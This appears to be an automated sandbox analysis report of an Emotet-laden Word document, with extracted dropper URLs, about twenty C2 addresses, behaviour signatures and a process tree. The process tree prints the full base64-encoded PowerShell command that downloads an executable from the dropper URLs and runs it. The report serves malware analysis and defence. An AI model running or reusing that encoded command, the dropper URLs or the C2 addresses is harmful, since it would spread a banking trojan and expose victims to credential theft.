Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    117s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    12/08/2020, 03:41

Sharing

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General

  • Target
    emotet_e2_800955e479e02bc926fbe59a6e5a8ad7e3405546c4084e4004d5afda9fbb90f3_2020-08-12__033917._doc.doc
  • Size 230KB
  • Sample200812-2hvsdhh33x
  • SHA256 800955e479e02bc926fbe59a6e5a8ad7e3405546c4084e4004d5afda9fbb90f3
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    https://cakejess.vn/wp-admin/t_q_scc13mmnz/
  • exe.dropper

    http://gizmotable.com/qytjn/yjxc_5x_3w/
  • exe.dropper

    https://eyezen.es/sites/bif_6_j3bov/
  • exe.dropper

    http://instalasi.ndrotech.com/admin/tc74o_g_om/
  • exe.dropper

    http://demo.bihongobd.com/wp-admin/2h13l_xv_q92zm72mil/

Extracted

Family

  • emotet

C2

  • 107.185.211.16:80

  • 96.8.113.4:8080

  • 153.126.210.205:7080

  • 47.146.117.214:80

  • 104.131.44.150:8080

  • 169.239.182.217:8080

  • 95.179.229.244:8080

  • 209.182.216.177:443

  • 209.141.54.221:8080

  • 5.196.74.210:8080

  • 72.12.127.184:443

  • 104.131.11.150:443

  • 200.55.243.138:8080

  • 116.203.32.252:8080

  • 142.105.151.124:443

  • 81.2.235.111:8080

  • 74.120.55.163:80

  • 167.86.90.214:8080

  • 87.106.139.101:8080

  • 37.139.21.175:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_800955e479e02bc926fbe59a6e5a8ad7e3405546c4084e4004d5afda9fbb90f3_2020-08-12__033917._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1492
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABHAEsAVQBYAFYAcwB5AHQAPQAnAFcATgBRAFoAWgBiAGEAawAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYwB1AFIAYABpAGAAVABZAFAAcgBvAGAAVABgAE8AQwBgAE8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEEAVABEAFUASgBmAHkAdwAgAD0AIAAnADEAMQAzACcAOwAkAEoAVwBZAFcAQQBzAHYAYgA9ACcATgBPAEEASABPAHQAcwBjACcAOwAkAFgAQgBEAEcAQwBmAHIAaQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAQQBUAEQAVQBKAGYAeQB3ACsAJwAuAGUAeABlACcAOwAkAEEARwBLAEgASQBnAHYAdQA9ACcAQgBVAEMAVQBaAGMAdABuACcAOwAkAFQAQgBFAFgATgB3AGkAZQA9ACYAKAAnAG4AJwArACcAZQB3AC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBlAHQALgBXAGUAQgBDAEwASQBFAG4AVAA7ACQAUABZAEQATwBJAHoAdgB1AD0AJwBoAHQAdABwAHMAOgAvAC8AYwBhAGsAZQBqAGUAcwBzAC4AdgBuAC8AdwBwAC0AYQBkAG0AaQBuAC8AdABfAHEAXwBzAGMAYwAxADMAbQBtAG4AegAvACoAaAB0AHQAcAA6AC8ALwBnAGkAegBtAG8AdABhAGIAbABlAC4AYwBvAG0ALwBxAHkAdABqAG4ALwB5AGoAeABjAF8ANQB4AF8AMwB3AC8AKgBoAHQAdABwAHMAOgAvAC8AZQB5AGUAegBlAG4ALgBlAHMALwBzAGkAdABlAHMALwBiAGkAZgBfADYAXwBqADMAYgBvAHYALwAqAGgAdAB0AHAAOgAvAC8AaQBuAHMAdABhAGwAYQBzAGkALgBuAGQAcgBvAHQAZQBjAGgALgBjAG8AbQAvAGEAZABtAGkAbgAvAHQAYwA3ADQAbwBfAGcAXwBvAG0ALwAqAGgAdAB0AHAAOgAvAC8AZABlAG0AbwAuAGIAaQBoAG8AbgBnAG8AYgBkAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwAyAGgAMQAzAGwAXwB4AHYAXwBxADkAMgB6AG0ANwAyAG0AaQBsAC8AJwAuACIAUwBQAEwAYABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABIAE4AVQBFAEEAcgB3AGYAPQAnAFcARgBCAEYARwB6AHkAawAnADsAZgBvAHIAZQBhAGMAaAAoACQASQBZAEYARwBMAGYAeQBtACAAaQBuACAAJABQAFkARABPAEkAegB2AHUAKQB7AHQAcgB5AHsAJABUAEIARQBYAE4AdwBpAGUALgAiAGQAbwB3AG4AbABPAGEARABmAGAAaQBgAEwARQAiACgAJABJAFkARgBHAEwAZgB5AG0ALAAgACQAWABCAEQARwBDAGYAcgBpACkAOwAkAFQAQgBOAFIAQgBmAGIAdAA9ACcAQQBUAFAAWABPAGIAZABrACcAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAWABCAEQARwBDAGYAcgBpACkALgAiAEwAZQBOAGAARwB0AEgAIgAgAC0AZwBlACAAMwAxADEANgAzACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAHIAZQBgAEEAVABFACIAKAAkAFgAQgBEAEcAQwBmAHIAaQApADsAJABWAEcAUwBMAEQAdwB6AG8APQAnAFYATwBDAFcAUABnAHoAbQAnADsAYgByAGUAYQBrADsAJABRAE0ATwBEAEcAbAB3AG0APQAnAFkAUgBBAEMAVgBrAHEAbwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABCAFEASwBWAEIAcgBsAHgAPQAnAFgAWABBAFEATwBvAGEAdQAnAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1768
  • C:\Users\Admin\113.exe
    C:\Users\Admin\113.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1932
    • C:\Windows\SysWOW64\cryptnet\at.exe
      "C:\Windows\SysWOW64\cryptnet\at.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:1628

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1492-4-0x0000000006CC0000-0x0000000006EC0000-memory.dmp
        Download

        memory/1492-5-0x000000000AD50000-0x000000000AD54000-memory.dmp
        Download

        memory/1492-6-0x000000000BDD0000-0x000000000BDD4000-memory.dmp
        Download

        memory/1492-2-0x00000000088E0000-0x00000000088E4000-memory.dmp
        Download

        memory/1492-14-0x0000000002100000-0x0000000002101000-memory.dmp
        Download

        memory/1628-22-0x00000000002A0000-0x00000000002AC000-memory.dmp
        Download

        memory/1768-9-0x000007FEF22F0000-0x000007FEF2CDC000-memory.dmp
        Download

        memory/1768-16-0x00000000027D0000-0x00000000027D1000-memory.dmp
        Download

        memory/1768-15-0x000000001C480000-0x000000001C481000-memory.dmp
        Download

        memory/1768-13-0x00000000023A0000-0x00000000023A1000-memory.dmp
        Download

        memory/1768-12-0x0000000002550000-0x0000000002551000-memory.dmp
        Download

        memory/1768-11-0x000000001AD30000-0x000000001AD31000-memory.dmp
        Download

        memory/1768-10-0x0000000001FA0000-0x0000000001FA1000-memory.dmp
        Download

        memory/1932-18-0x0000000000260000-0x000000000026C000-memory.dmp
        Download

        memory/1956-23-0x000007FEF2A10000-0x000007FEF2C8A000-memory.dmp
        Download